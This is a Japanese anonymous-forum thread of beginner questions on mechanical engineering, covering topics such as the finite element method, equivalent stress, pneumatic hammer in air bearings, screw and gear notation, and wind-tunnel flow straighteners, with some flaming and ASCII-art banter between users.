今日、教授に「有限要素法を用いると、いろんな外力をうける実際の構造の応力や変形状態が何故求まるか？」

と聞かれたのだけど答えられなくて恥をかいた自分がいたんだ

次にこんなこと無いようにしたいからだれか知ってる人是非おしえてほしいil||li＿|￣|○il||li

ヒント
ETYMOLOGY:Perhaps cant + lever
cant 傾斜（面）、傾く（ける）、 ひっくり返す（返る）

憶測で物を言うのも程々に

有限要素法かー　懐かしいなー
ANSYSとかもコレ系だったよな？

構造体を幾つもの要素に切り分けて、それらの交点をまとめて
全体の方程式にして解くってヤツだったっけか？
ﾗｰﾒﾝ構造とかﾄﾗｽ構造なんかだと楽なんだが、ちょいと複雑な構造になると
途端に面倒になる事この上なかったな。

>>609
たいへん助かりました！！
ありがとうございました！！

>>616
日本語の理解能力が、少しばかり不足しているようですね。では、お大事に。

>>618
「傾く」 と　「レバー」　で、何で、「片持ち梁」なん？。
Perhaps cant　なんて言葉、あんの？。
cant　の最後の、i の意味は？。

意味判らん。

　ワケ　　　　　ワカ　　　　　　ラン　　　　 ワケ　　　　　　　デモ　　　　　ナイ♪
　 ∧＿∧　　　∧＿∧　　　　∧＿∧　　　∧＿∧　　　　　∧＿∧　 　 (⌒)(⌒)
　（　・∀・）　　（　・∀・）　　　（　・∀・）　　（　　・∀）　　　 （∀・　　） 彡│　||　｜
⊂　⊂　 ）　　（　Ｕ　　つ　　⊂__へ　つ　 （　○　　つ　　 ⊂　○　）　　 （∧＿∧⊃
　<　<　<　　　　）　）　）　　　　　（＿）|　　　＼＼　＼　　 ／　／／　　　 （　・∀・）
　（＿（＿）　　（_＿）＿）　　　 彡（_＿）　　　（＿（＿_） 　（＿（＿）　　　　　∪
　
　　　　　トモ　　　　　　　イエ　　　　　　ナイ　　　　　ケレ　　　　　　ド♪
　　　　　∧＿∧　　　　　 ∧＿∧　　　　∧＿∧　　∧＿∧　　　　∧＿∧
　　　　 （　・∀・） 　　　　（,　・∀・）∩　（・∀・∩） （,,　・∀・） 　 　（ ・∀・ )っ
　　　（( （ つ 　~つ )）　（( （つ 　 　~ノ 　（つ　　丿　（つ　　つ　)）　( つ　　/
　　　　　乂　　((⌒) )）　+　ヽ　(⌒ﾉ 　　,（　ヽノ 　 　 ）　）　）　　　　|　 （⌒）
　　　　　（＿_）￣　　　　　 （＿）Ｕ　　　し（＿）　 　 （＿）＿）　　 　 し'⌒＾ミ
　
　　　　　イイ　　　　 　　　カゲン　　　　　　　　ソノ　　　　　ヘンニ
　　　　 ∧＿∧ 　 　 　 　l |　　| ｌ
　　 ◯（ ・∀・ ）◯　　　　∧＿∧　　　 　　　 ∧＿∧　　　　∧＿∧
　　　 ＼　　　 ／　　　　 （ ・∀・ ）　　　　　　∩ ・∀・）　 ○（ ・∀・ ）○
　　　　 |⌒I　│　　　　 ⊂　　 　 つ　　 　　　ヽ　⊂丿　　　＼　　　 ／
　　　　（＿） ノ　　　　　／ ／＼　＼　　　　　（　（　ﾉ　)）　 ﾐ,（　ヽノ
　　　　　　し'　　　　　.（＿_）　　（＿_）　　　　　し'し'　　　　　し（＿）
　
　　　　　　　シト　　　　　　　　ケヨ　　　　　　　ナ♪
　　　　　　∧＿∧　　　　　　∧＿∧　　 　 ∧＿∧∩
　　　　　 （　・∀・）　　　 ⊂（ ・∀・ ）　　　（・∀・　）ﾉ
　　　　　⊂ ⊂　 ﾉ彡　　　 （　　 ノＵ　　　 ﾉ　　　つ
　　　　　　 Ｙ　.人 　　　　 ｜（ 　）　　　 (⌒),、 ヽ.
　　　　　　 （＿）'Ｊ　　　　　し ∪ ﾐ　　　 ￣ 　し''

>617
ttp://www.jri.co.jp/pro-eng/struct/basic/yugenyoso/
ぐらいに答えておけばいいかと

”相当応力の定義とその意味”が分かりません
お暇なかたおしえてください

空気静圧軸受けに関連して『ニューマチックハンマー』という言葉が出てきました
これは空気圧縮による自励振動の事でいいんでしょうか？

>>622がPerhapsの意味さえ分かっていない件について

質問じゃないけど、これやってみた人いる？
　http://www.designnewsjapan.com/quiz/designnewsquiz.html

最初やったら70点しか取れなくて、意地になって100点取れるまで
やってしまった。

あ、質問でもないのにageちった。ｽﾏｿ。

>>627
辞書に出ている単語なら、辞書さえ引けば、小学生でも意味はわかる。

>>628
８０点取れました。

（ ´_ゝ｀）ﾌﾟｯ

>>618
憶測で物を言うのも程々に。　 （ ´_ゝ｀）ﾌﾟｯ

分流器の実験で供試電流計Aは1.5級のものを使ったんですが、
この『級』が実験において発生する許容誤差とどういう関係があるのか、教えてください。

すいません、ageで

>>626
『ニューマチックハンマー』と言う名称の工具は、実在する。
検索すれば判るはず。

その書かれている文章を、具体的に「ここ」に示さない限り、
文章内での「用語の意味」が、どのように使われているかの判断は不可能。

（ ´_ゝ｀）ﾌﾟｯ

>634
実験における計器誤差が最大で1.5%あることになります。
「級」については下記を参考してください
http://www.yokogawa.co.jp/meter/products/qa.htm#qa3
http://nippon.zaidan.info/seikabutsu/1998/00155/contents/412.htm

もっと詳しいことが必要でしたら
電気・電子板の初心者質問スレ　10
http://science3.2ch.net/test/read.cgi/denki/1118117538/l50
で、質問したほうがいいかと

>>638
ありがとうございました！

>>636
『ニューマチックハンマーを避けるため
空気静圧軸受では圧力分布の改善を行っている』
という内容でした

空っぽの配管中を水が落下するとウォーターハンマって衝撃が発生して配管が破れたりするけど
静圧軸受けで圧力分布が変化したら、衝撃以前に金属接触して話にならんと思うのだが
似たような現象があるのかも知れんけどね。

ぱっと聞くと空圧駆動式の削岩機を思い浮かべるけどな。

質問させてください。
機器を開放して中から出てきたスプリング（縮んだり伸びたりして
へたってるかも）を見て、材質やどうゆう性能で自由長何ｍｍのスプリング
かってのは判断できるもんですか？

鉄の角材を切る帯びのこ盤の名称を教えてください・・。
レポートかかにゃあかんのに名前わすれちゃって。

>643
帯のこ盤　バンドソーのことですか
ttp://www.asada.co.jp/seihin/nokogiri/

>>643
”コンタ“って言わない？

>>645
これかな？
http://www.tamabi.ac.jp/mc/mc5/002/m-konta.htm
正確にはコンタマシン(コンタマシーン）です

>>642
ネジとかピンとか規格品は別として
一般的に、現物から設計仕様を追うのはかなり無理。

>>625
√（せん断エネルギーの体積密度）　に比例する量
と考えることもできるし
正八面体せん断応力（物体中に正八面体を想定したとき、その斜面に働くせん断応力）に比例する量
と考えることもできる。
形式的に言えば応力テンソルの第２不変量の平方根に比例する量。

相当応力＝一定値（材料によって異なる）なる表式によって降伏条件を表す。
要するに、２次元または３次元の降伏応力（テンソル）を１次元のスカラーに換算したものと考えればよいのでは。
で、これによって加工硬化過程を簡潔に表現することができる。

定義式については塑性力学関係の本の最初のほうに記載してあると思う。
複雑な式ではない。参照されよ。

ソースタームってなんですか？

>>649
微分方程式の話？
だとするとソース（源）項。
対象領域内の熱源、湧き出しなどを表す項。
微分方程式を式的に表現して
　　Dx=q
　ただしDは微分作用素（演算子）、ｘ：未知関数
としたときのｑ

突然ですが、どなたか↓に答えてやってください。

http://sky.issaigassai.com/photo/wara/html/STB.html

>>651
どうやら向こうの１が来て解決したようです

10�gの容器に研磨剤入れて循環させて使っているのですが
この容器に超音波振動させて凝集してしまった研磨剤を分散させたいのですが
一番安上がりな方法って何ですかね？
最初、容器ごと超音波洗浄器に入れてやろうと思ったのですが
そのサイズの超音波洗浄器は40万くらいでした・・・。

何とか10万くらいで・・・

手で振る。

容器に超音波洗浄機ごと入れてやればいいんじゃん？ｗｗｗ

>>653
超音波振動の歯ブラシでもつっこんどけば？
ツーカ、棒状の攪拌装置くらいあると思うんだが。

自分で回路組んで圧電素子振動させてもいいしね。

>>642
そんなの線径と外形と自由長でいいんじゃない？
材質なんて、SWP(だったっけ、会社じゃないと覚えてねーやｗ）あるいは
SUS…（こちらも覚えてないwｗＷ）の２種類くらいしか普通つかわないだろ。
まずSWP(だったっけ)の方で間違えないんじゃないの？

>>657
自信があるのかないのかよくワカラン書き方だなｗ
ヘタって自由長かわっとるかも知れんわけだから
設計資料見るか、用途から逆算して割り出すとかじゃない？

圧縮コイルバネってへたるのか。
そんな禿しい使われ方する装置作ったことないもので　orz...

>>659
車のバネなんかよくヘタるよ。
疲労なのかクリープなのか知らんけどね。

>>647
>>657
>>658
>>659
>>660
みなさんありがとうございます。
やはり難しそうですね。
すでに製造中止の機器でどうしようかなって感じです。

ハローワークの募集で
機械の配線作業っていう　仕事内容かかれてたんですが
一般的に　機械の配線作業っていうのは
どのような仕事内容なんですか？

未経験者可能って書いてあるのですが、
未経験でもできそうですか？

ピーターアーツ６６６！６６６！

ピーターアーツ６６６！６６６！

ピーターアーツ６６６！６６６！

ピーターアーツ★６６６★
LumberJack！

質問です。この前円柱まわりの流れの実験をして、圧力係数を求めるんですが、マノメータの読みから
どう考えてもおかしな答えになります。実験のマノメータの読みを式に代入してるんですが、、、。どなたかお願いします。

>>662
図面見てつなぐ端子確認した後
実機見て、線の長さと取り回しと固定を考えてつなぐ。

>>667
単なる作業ミス。

>>636
>『ニューマチックハンマー』と言う名称の工具は、実在する。
>検索すれば判るはず。
>
>その書かれている文章を、具体的に「ここ」に示さない限り、
>文章内での「用語の意味」が、どのように使われているかの判断は不可能。

TAKEはやっぱりアホやの。
エアベアリングの世界でニューマチックハンマと言えば自励振動のことに
きまっとる。
検索だけに頼っとるからそういう恥をかくんや。

>>669
ここに来てかれこれ４年以上になるけど、その当時からＴＡＫＥなる人物は叩かれていた。
そんな人物は本当に実在するの？普通は飽きてどこかいくと思うんだけど。
それとも、頭の悪いレスはＴＡＫＥという名称で呼んでるとか？
信じられんよ・・・

>>653
容器を金魚運動マシンの上においておく（ｗ

>>669-670
と、暖かい声をかけてくれるお友達に会えるのはここだけですから、はい
と、ほらもう３レスもついた
彼は2chのアイドルさ
神にも近いね
事実は消せない

>>667
どうおかしいのかわからんが…　その質問文で読み手に自分の疑問が伝わると思う？
まぁ、あえて言えば
式の見間違い
マノメータの読み取り間違い
単位の間違い
それから、前の人が言ってるように、実験操作そのものの間違い
ってとこかな？

>>669　＞　　　　自励振動のことにきまっとる。

『 ニューマチックハンマ　自励振動 』で、検索しても、たったの１件も出てきませんよ〜。
何を主張されるのも、貴方の自由ですが、今後は必ず、（（証拠））を示してから言って下さい。

判りましたね。そこの「　　釣りペテン師　　」さん！！！。

・　自励振動
　　　　self-excited oscillation // self-excited [self-induced] vibration // self-induced oscillation

・　pneumatic hammer
　　　　空気｛くうき｝ハンマー

ＡＬＣなどの、
辞書で調べれば、すぐにも判るものを。。。　クドクドとひつこく。。。　何時もの如くのペテンをまた。。。

う〜ん…　マジレスしていいもんかどうか悩むが…
ここ、質問スレだからあえてマジレス
>>674>>675
>>669が正しいよ。
そのキーワードで、英語でググってみ？

余計なことかもだが、科学技術情報に関しては日本語のネット情報って
すごく貧弱だねぇ…（溜息

TAKEあったまわりー（爆笑）

オマエが検索してここで偉そうに講釈してるのは使い古された一般常識的な知識だけやろ。
自分の調査能力を棚に上げて他人をペテン師呼ばわりするあたりはさすが「はかせ」君。
結局はWEBで調べきれない専門領域については何の知識も得られんわけだ。
他人からの借り物の知識だけだとオマエ自信は開発能力ゼロやろ？

TAKEよ相手の土俵で勝負したけりゃもっと勉強してから出直してこんかい。

自励振動は振動工学において分類化された一形態に過ぎん。
つまりニューマチックハンマという現象は自励振動に分類されるというだけ
のもの。
ニューマチックハンマはエアギャップ内にトラップされた気体の圧縮性が
原因で起きる振動で軸受け剛性を高く設計しようとするあまり減衰比を
犠牲にした時に良く見られる。

＜メカニズム＞
何らかの外乱でエアギャップが狭くなったとする。
ギャップの狭くなった分だけエアが外に流れ出せばよいが粘性がそれを妨げる。
そのためエアギャップ内の圧力はPoからPo+ΔPと圧縮される。
軸の負荷を支える平衡圧Poに対しよけいな力が作用する。
今度は軸が押し上げられる。
するとエアギャップが広くなる。
広くなった分だけ直ちにエアが流入すれば問題ないが絞りがあるため十分に
入り込めず圧力はPoより低くなる。
すると負荷を支えられないのでエアギャップは狭くなる。
この繰り返し。
この現象をニューマチックハンマと呼ぶ。
ニューマチックハンマは「ブーン」とうなりをあげるのですぐわかる。
エアベアリングを設計するものの間では常識。

TAKEはエアベアリングを見たこともないんやろ。
次のオマエの行動は「釣り」だと決め付けるかキレて荒らしまくるかどっちかだな。
目障りだからどっか行けよ。

すいません。変な文でした。圧力差P-Poを、（ρ＊ｇ＊ｌ）/nで求めてCp=(P-Po)/ρU^2/2というしきに代入するだけなんですが、、、lがマノメータの読みで、
おそらく何か値を引くか割るかするはずなんですが、それらしい答えになりません。実験手順はあってるみたいなんで、式をどう使うかということのようです。

>>677-678
本題とは全くずれた無い様の揚げ足取りが始まるだけだからその辺でやめとけ
電波にエサを与えないで下さい

もうそろそろ墓穴を掘った彼が荒らしてくれる頃だな。
墓穴を掘りきると一時のように相手のﾚｽをｺﾋﾟﾍﾟし始めるのだろうか。

>>679
式の意味を考えてみようよ。「〜〜という式」というとらえ方では自己解決の可能性が無いな。
と何も分かってない素人が反応してみる。
密度[kg/m^3]×重力加速度[m/s^2]×マノメータ読み[?]/n[?]＝圧力差[kg/ms^2]
私は素人なのでnの単位の予測がつきません。

>>679
漏れもｎが何かよくわからんが、基本に立ち返って考えると
　圧力差＝（ρ２−ρ１）＊ｇ＊ｌ
　　　ρ２：マノメータ封液密度　　ρ１：流れの密度
だろ？ｎは（ρ２−ρ１）をρ１だけで表すための計測定数だと思われ。
ｎの値は与えられてるのかな？上の式と比較してチェックしてみたら？
それから
　Cp=(P-Po)/ρU^2/2　はきちんと書けば　Cp=(P-Po)/（ρU^2/2）　だよな？
計算機で計算するときは、この２つの式、違った値になるよ。
あと、単位系は各変数ちゃんとそろってる？

気になるのはそんなとこかな。

オシロスコープのことを教えてくれないか？
今丁度勉強してるんだけど、これだけは、覚えとけ！みたいな所
を教えてくれ・・・わけがわからないんだよ、オシロスコープ・・。

>>683
極簡単に言うぞ。
電圧計の針があって、ピコピコ上下に動くようになってる、で、その針は先端が光る。
スクリーンは一定の速さで横に動いてて、光の残像を記録しながら送ってる。
電圧がかかるとその分だけ上下に揺れるから、それを一定の送りで記録すると波状になるから
時間ごとに入力電圧がどれだけ変化したかわかる。

んで、電圧源にはコイルなりひずみｹﾞｰｼﾞなり繋いどけば、いろんな用途に使えるわけだ。

>683
まずは、ここを読んで
オシロスコープ入門
ttp://www.cqpub.co.jp/column/books/2001a/11891osiro/default.htm

それでわからないところをこっちで質問すれば
オシロスコープ総合ｽｯﾄﾞﾚ! Part2
http://science3.2ch.net/test/read.cgi/denki/1117764693/

助かった・・ありがとう

機械工学科３年なんだけどエンジンの事よくわかんないんだよねぇ。
授業聞いてても凄い基本的な事がわかってないから言ってる事よくわかんないし…。
３年になってこんな人いない？それでどんなサイトとか本読めば詳しくなるか教えてください。

>>687
20すぎてもわからん物は一生ワカランと思うけど、
http://www.amazon.co.jp/exec/obidos/ASIN/B00068VPWI/250-7922921-5523416

この辺のオモチャ買って組み立ててみれば？

>687
エンジンの機構がわからないのか
熱力学がわからないのか　どっちなんだ

>>689
機構かな。エンジンとかいじってて詳しい奴っているけどそういう知識がない
から必要だと思って

>690
車のエンジンで部品名なんかを聞いたら
役割が理解できるレベルでいいのなら
大きな本屋や図書館で入門書を探してみるといいかとおもう。
例えば
http://www.amazon.co.jp/exec/obidos/ASIN/4876871655/ref=pd_sim_dp_3/249-3104469-6370758#product-details
http://www.amazon.co.jp/exec/obidos/ASIN/438107758X/ref=pd_rhf_f_1/249-3104469-6370758

ネットの情報では、エンジンの改造や整備については結構あるが
本当の基礎あたりからなら、本のほうがいいかとおもう

>>691
サンクス！

>>687
　　エンジンの構造
http://www.google.co.jp/search?hl=ja&c2coff=1&q=%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%B3%E3%81%AE%E6%A7%8B%E9%80%A0&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=lang_ja
　　エンジンの原理
http://www.google.co.jp/search?hl=ja&c2coff=1&q=%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%B3%E3%81%AE%E5%8E%9F%E7%90%86&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=lang_ja

みんな(TдT) ｱﾘｶﾞﾄｳ

ここの住人は車好きが多いとみた。

ここの住人は(釣り好きw)が多いとみた。

>>689
やっぱり熱力学の方も一応教えてもらえます？そっちも勉強不足だし…。

>>697
教授か先輩に聞いた方が早いよ。
そのための大学だろ？

本当にワカランなら1年次の講義から受けなおしゃいいんだし。

>>697
材料力学、機械力学、流体力学は無視ですかそうですか

じゃあとりあえず>>691みたいなの買って勉強しますよ

>687さんへ

冷たいようですが、自分で教科書を探すのも
大学生の勉強の一つです。
ネットだけに頼らず図書館で自分のレベルに合った本を探して、
こつこつ勉強してください。
授業料という代償だけで、勉強できるのは今の間です。
頑張ってください。

勉強のご参考に
ttp://nkiso.u-tokai.ac.jp/phys/matsuura/lecture/heat/index.htm

ネジや歯車などで使われるM3,M4などという記号はどういう意味で単位は何でしょうか?
サイズだと推測できるのですが、どのサイズなのかわかりません。

粗形材と素形材って違うものでしょうか。
両方とも荒削りの半製品のようなもので合ってるでしょうか。

>>703　＞粗形材と素形材って違うもの

（ 恐らく ）ですが、両者は同じ意味として使われていて、「 ○→素形材 」「 △→粗形材 」
と言うようなところではないかと、思われます。

「素形材」
http://www.kanto.meti.go.jp/seisaku/seizousangyou/index_sokeizai.html
　　　　　「素形材」とは、素材に熱や力が加えられ、形が与えられた部品や部材のことをいいます。
　　　　　具体的な素材としては、金属をはじめ木材、石材、窯材、ゴム、ガラス、プラスチックなどがありますが、
　　　　　最近ではファインセラミックス、複合材料も使われるようになりました。
　　　　　これら素材を素形材に変えるためには、鋳造、鍛造、プレス、粉末冶金などいろいろな材料加工法が使われます。
　　　　　こうしてできた素形材はそのままか、わずかな機械加工により精密に仕上げて、製品となります。

「素形材とは」
http://www.google.co.jp/search?hl=ja&c2coff=1&biw=871&q=%E7%B4%A0%E5%BD%A2%E6%9D%90%E3%81%A8%E3%81%AF&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=lang_ja

ちなみに、同様な間違い用語の例としては、「 ライフル・マーク ＝ ○→線状痕 」などの言葉が、
銃を解説しているウエブページでさえも、間違って、「 △→旋状痕 」と書かれた場合の多いのも、
検索してみれば判る事実でしょう。

>>702　＞M3,M4などという記号

「２．歯車伝動装置」
http://www.dendai.ed.jp/~komine/mecha/gear.pdf
　　　　　２−２．標準平歯車の計算式

　　　　　歯車の規格は、歯の大きさを示すﾓｼﾞｭｰﾙ:ｍ(mm)、歯数:Ｚ
　　　　　歯幅:Ｂ(mm)等で表される．
　　　　　標準平歯車各部分の寸法及び、歯車を組み合わせる場合の
　　　　　中心間距離:Ｃ(mm)の算出式を以下に示す。
　　　　　●ﾋﾟｯﾁ円直径(diametral pitch): Ｄｐ = ｍ ・ Ｚ (mm)
---------------------------------
　　　　　●歯先のたけ(addendum): Ｈ１ = ｍ (mm)　　　←（これですね）
---------------------------------
　　　　　●歯元のたけ(dedendum): Ｈ２ ≧ １．２５ｍ (mm)

「モジュール歯車」の場合は、「 ｍ ： モジュール 」＝「 歯先の丈 ： Ｈ１ 」と言う、寸法規格で、
この場合の「歯先の丈」とは、《　歯車の基準ピッチ円から歯先までの長さ（丈）　》を言います。
最近余り使われませんが、「ダイアメトラルピッチ歯車」と言う、インチ規格の歯車もありますね。

「歯車 モジュール」
http://www.google.co.jp/search?hl=ja&c2coff=1&biw=776&q=%E6%AD%AF%E8%BB%8A+%E3%83%A2%E3%82%B8%E3%83%A5%E3%83%BC%E3%83%AB&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=lang_ja

これ以上の詳しいことは、「歯車のスレッド」が別にありますので、そちらで聞いてください。（ｗ

>>702
ネジの呼びは要するに外径の太さで、�_に対応してる。
対して歯車のモジュールは歯の間隔と形状に対応してる。

記号は同じだけど意味合いが全然変わってくるから
別個の物として考えた方がいいよ。

>702
ねじの場合はメートルねじのMです。
http://www.nmri.go.jp/eng/khirata/design/ch04/ch04_02.html
規格はJIS　B0123

歯車の場合は
モジュールのＭです
http://www.nmri.go.jp/eng/khirata/design/ch06/ch06_02.html
適用規格はJIS　B1701-1　及び　JIS　B1701-2

ねじと歯車の呼びのMはまったく違うものです。

>>702
　　　表記　　読み
ギヤ　ｍ６　モジュールろく
ねじ　Ｍ６　えむろく

表記も読みも違うので混同は、いけませんよ

機械系の学科に所属する大学生です
何か就職するときや転職するときに有利な資格は無いでしょうか？
機械系全般でお願いします

>>709
機械系にはこれといって有効な資格がない
建築は無資格じゃ設計できないけど、機械は関係ないしね。
強いて言うなら英仏独語かな。

衛生管理者資格が妥当なとこじゃないの？
履歴書の隅にでも書いておけば、相手の目に止まる確率は高くなるよ。

正直、会社はそれほど資格を重視してないと思う。
学生なら技術士補とか持ってれば、一応基礎学力はあるかな、程度の目安にはなるかも。
転職だったら特許とか論文なんかの業績がモノを言うだろ。

今度研究室に入らなきゃいけないんだけど流体ってどんな研究するんですかね？
計算とか大変そうなイメージがあるんですけど…。あと、内燃系の研究室入ると就職先
が凄い限定されそうな気がするんですけどどうでしょうか？

>>705
>>706
>>707
>>708
わかりやすい解説ありがとうございます。
大変勉強になりました。

検索エンジンで「歯車 用語 M3」をキーワードで調べて出てこなかったんですが
「規格」にする必要があったみたいですね。

>>713
流体の研究つーてもいろいろだねぇ。
ほとんど数学に近いものや計算力学的なことから基礎的な実験中心のもの、流体機械の性能、現象調査的なもの…

内燃系も同様だろ。燃焼過程みたいな化学に近いものもあれば流体、機械力学など…
熱力学が中心にあることは間違いないだろうけどね。

つか、研究室に行って聞いてみろよ。それも社会人としての訓練の第一歩だよ。
内気な性格でそういうのダメっていうんなら、機械学会の論文誌とかにその研究室が出してる論文ながめてみりゃ
どんなことやってるかわかるだろ。

あと、何の研究室にいたかは学部、Mならあんま関係ないね。
研究室の推薦で就職するなら別だが。

追加
国公立の研究所とかアカデミックポストに就きたいなら、大学、院での研究テーマは
重視されるだろうね。言わでものことだろうと思うが。

しつこく追加だが
就職のことも含めて、研究室の先生に相談するのが一番。
藻前自身の将来にかかわることだ。
漏れの書いたことなど信用する必要なし。

>>715
レスありがとう。内燃やろうと思ってたけど凄い就職先が限定されそうでさ…
まぁ、悩んでるのさ

んなこたーない
研究テーマと就職先が一致してる奴なんかほとんど居ないよ。

そっか。安心したＹＯ！
でも俺大学で友達多いほうじゃねーんだけど仲いい人が別の研究室に入るっぽい
から研究室に友達いないだろうな…。それが心配だ。研究室ってしょっちゅう行く
んだよね？なんか辛い思いしそうだよorz

スプリングピンって抜くときはどうするの？
φ４の貫通穴にはまってるのを抜きたいんだけど、油をたっぷり注して叩いても全然抜けない・・
中でかしってるのかな。

>>720
俺なんか、遺伝的アルゴリズムと有限要素法使って
飛行機の尾翼設計なんて事やってたが
３年後の今、納期に追われてボルト作ってるぞ。

>>721
貫通してるなら、反対側からφ3.8くらいのドリルのケツ突っ込んで叩けば？
叩いて駄目なら…

つ
　　ﾐ[万力][フォークリフト]

日本の自動車メーカーってボディの金型の設計と製作は、自社で行っているのでしょうか？

韓国製のCNC旋盤はいくらくらいですか？

http://ime.st/www.system-brain.com/fa.htm

ラピッドプロトタイピング系ってここでいいのかな？
光造形ってどこのがいいの？

皆さんの給料はいくらくらいですか？
私は２６歳大卒で年収５００万くらいです。
今年のボーナスは２．４です。

>723
メーカーの考え方による
参考に
http://www1.harenet.ne.jp/~noriaki/link61-2.html

>727
給料いくらもらってますか
http://science3.2ch.net/test/read.cgi/kikai/1098194718/
で聞いてみたら

>>728
ありがとうございます。

質問させてください。

ベルト駆動で回転を取り出すアイドラーを作製したいのですが、
プーリー販売の会社はあるし、ベアリング販売の会社もあります。

が、アイドラー販売の会社が少ない、あるいは取り扱いがないものがほとんどなのです。

自分でプーリーとベアリングを組み合わせてアイドラーを作製することは可能でしょうか？

また、プーリーとベアリングを組み合わせることを何という用語なのでしょうか？
Googleで「プーリー　アイドラー」「組み込み」「圧入」等の用語を組み合わせて検索してみたりしましたが
該当するものが出てきませんでした。

教えてください。
どうぞよろしくお願いします。

>>722
ﾏﾃ。フォークリフトをどう使うというのだ。

>>730
＞また、プーリーとベアリングを組み合わせることを何という用語なのでしょうか？
「設計」。旋盤屋さんに図面投げればキー溝・熱処理とかも外注に手配してくれますよ。
ちなみに、三木プーリのETP-Tとか使うと何も考えなくてｵｹｰ。でも高い。

交流ブリッジの実験をしたのですが、
レポートを書いた際にやり直し扱いになった点で質問があります。

・測定誤差等について検討しろ、というのはどういうことでしょうか。
「正確な測定を心掛けているのだから当然、誤差は小さくなる。機器の精度が高い」みたいなことを書いたところ
やりなおしになってしまいました・・・。

・回転目盛とCxの関係が直線にならない理由を述べよ。という検討で、
実験のときに「グラフの直線性が良くなかった」というヒントを貰ったので
「直線性が低いということは値の比例関係が乱れているということである。
測定結果が僅かにズレただけで非直線性は上昇する」という答えは駄目でした。

・「フィルムコンデンサと電解コンデンサの両特性について比較検討せよ」
フィルムコンデンサは周波特性が良くて高周波向きであり、
電解コンデンサは周波特性が悪くて低周波向きである、
というヒントを貰ったのでそのまま書きました。しかし駄目らしいです。
そのまま書いたから、というわけでも無さそうです。

これらの駄目だしは質問の意図をこちらが理解していないのか、
それともヒントの解釈を間違えているのか、どなたかどのように調べればいいか教えてください。

>>732
３つとも関連しているんだがな．．．
おまい、算数苦手か？

どっちもどっちで国語力が不足してて問題の意図が伝わってないに一票

どっちもどっち　　って先生も漏れもってことでつか？

計算技能検定３級に落ちた俺が来ましたよ。
実務計算むずかし・・・。

732
電気・電子板で質問したほうがいいかと

わかりました

すいません。
カーテンレールがぶっ壊れたんで、
会社に余ってたアルミ棒で作ってみたんですが、
なんかキーキー音がします。
（カーテンの釣具はポリアセタールの樹脂）

アルミとＰＯＭて相性悪いんでしょうか？
ワセリン塗っても音消えないし・・

ここの「電気の質問」はどうしたのだ？

>>739
どっか曲がって擦ってんじゃないの？

会社のもんで家のカーテンレール作ったらアカンでしょ

>カーテンレールがぶっ壊れたんで

ここにポイントがありそうだな。
鉄のカーテンとかなら先に言えよな。

元は
こんなカーテンレールですか
ttp://www.i-light.co.jp/shop/rail/euro_antique.html

今日、鉄鋼所の工場を見学しに行ったんだが、なんで工場って
海辺に多いんだ？陸路より海路の方がより多く材料が運べるとか？
なんか、気になるので教えてくらはい。

>>745
そのたうりんｔ

重いもんは船で運ぶ方が楽。

重いもん運ぶにはごつい道路も作らんといかんしね。

質問です。
チタンでΦ16-ピッチ2、長さ230のオネジを1本製作した場合の費用はどのくらいでしょうか？
おおよそで結構です。
材料費は2〜3000円程度と聞いています。
ちなみに特殊なバイトが必要ですか？

書きわすれましたが、台形ネジです。

￥6000は、ほしい。

研究室で風洞作らなきゃいけないのですが
整流フィルタ作ってる会社がなかなか見つからないのですが
いいとこありませんか？

>>752
大学の卒論検索して、風洞実験やった前例探して
そこの先生に聞けばいいんでないの。

前例はあるのですが整流フィルタまで手製で作っていて完全に整流になっていない
ものばかりで参考にならないのです
流体の研究室ではメーカーから完成品の風洞を購入してるので(うちの研究室は流体関係ではない)
教授に聞いてもわからないっていわれるんです。

>>749
「チタン材」は、こすれ合うような用途には、向いてない材質だと思う。

チタンは耐磨耗性に劣るからね、合金化すれば大丈夫だろうけど強度が犠牲に
なるからね、そもそもチタンで作成したいのは何でなんだろう

　
「チタン材」は、アルミと同様柔らかい素材なので、焼け付くらしい。
ボルト程度のネジならまだしも、摺動部（しゅうどうぶ）のネジには問題あり。
アルミの摺動用ネジと言うのも、聞いたことがないし。
「特殊なグリス」さえ見つけてくれば、まぁ不可能とまでは言えないとは思うが。

>>752　＞整流フィルタ作ってる会社

そもそも、『 風洞 』なんてものは、扇風機のようには多量に売れないものでしょ。
だから大抵の場合は、「一品生産品」で、既製の風洞など、ほとんどないのでは。
とすれば、その『 整流フィルタ 』も、既製品などない！と考えるのが、普通だと思う。

「 アルミニウムハニカム ALUMINUM HONEYCOMB 」
http://www.showa-aircraft.co.jp/products/honeycomb-core/aliminium.html
　　　　用途：サンドイッチパネル芯材、　整流用、　緩衝用

「整流フィルタ」は、正式には、『 整流格子 』と呼ぶらしい。
安く作るには、「ハニカム材」を買ってきて、自作すれば良いと思うけど。
その自作が問題ならば、その「ハニカム屋さん」に、一度頼んでみるかな。？

「 整流 ハニカム 」
http://www.google.co.jp/search?num=50&hl=ja&c2coff=1&biw=912&q=%E6%95%B4%E6%B5%81+%E3%83%8F%E3%83%8B%E3%82%AB%E3%83%A0&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=lang_ja

>>754　＞整流フィルタまで手製で作っていて完全に整流になっていない
「ハニカム材」を使えば、よほど不器用でない限、満足の行くものが作れると思うよ。

ありがとうございます。
整流フィルタ作ってた会社があったらしいのですが
最近潰れてしまったらしく途方にくれてたんです
どうもありがとうございます
自作でがんばってみます

はやく帰りたいんですけど，どうすればいいですか？

>>730　＞ベルト駆動で回転を取り出すアイドラーを作製

アイドラーとは『 遊び車 』のことなので、これで「回転を取り出す？」と言う説明には、
かなりの、日本語的な矛盾がある。

回転を与える方が「駆動プーリー」で、回転を取り出す側を「従動プーリー」と言う。
アイドラーとは、主に、ベルトのたるみをとる目的で使われるもの。

それから「ベルト駆動」とは言っても、ベルトの種類は多いので、どの形式のベルトを、
使いたいのかを、それをまず決めてから質問する必要がある。

もし本当に『 アイドラー 』を作るつもりなら、プーリーを売ってる会社、例えば「三木プーリ」
などのカタログを見れば、産業機械用だけど、プラスティック製のものなどが売っている。

模型などに使う用途で、特に小さなものなどは、決められた寸法には収まらない場合が多いので、
結局すべてを、自作することになってしまうのだろう。

ベアリングの外径と、プーリーベアリング穴の「嵌めあい」などに付いては、ベアリングのカタログ
を見れば、基本的なことはすべて載っている。

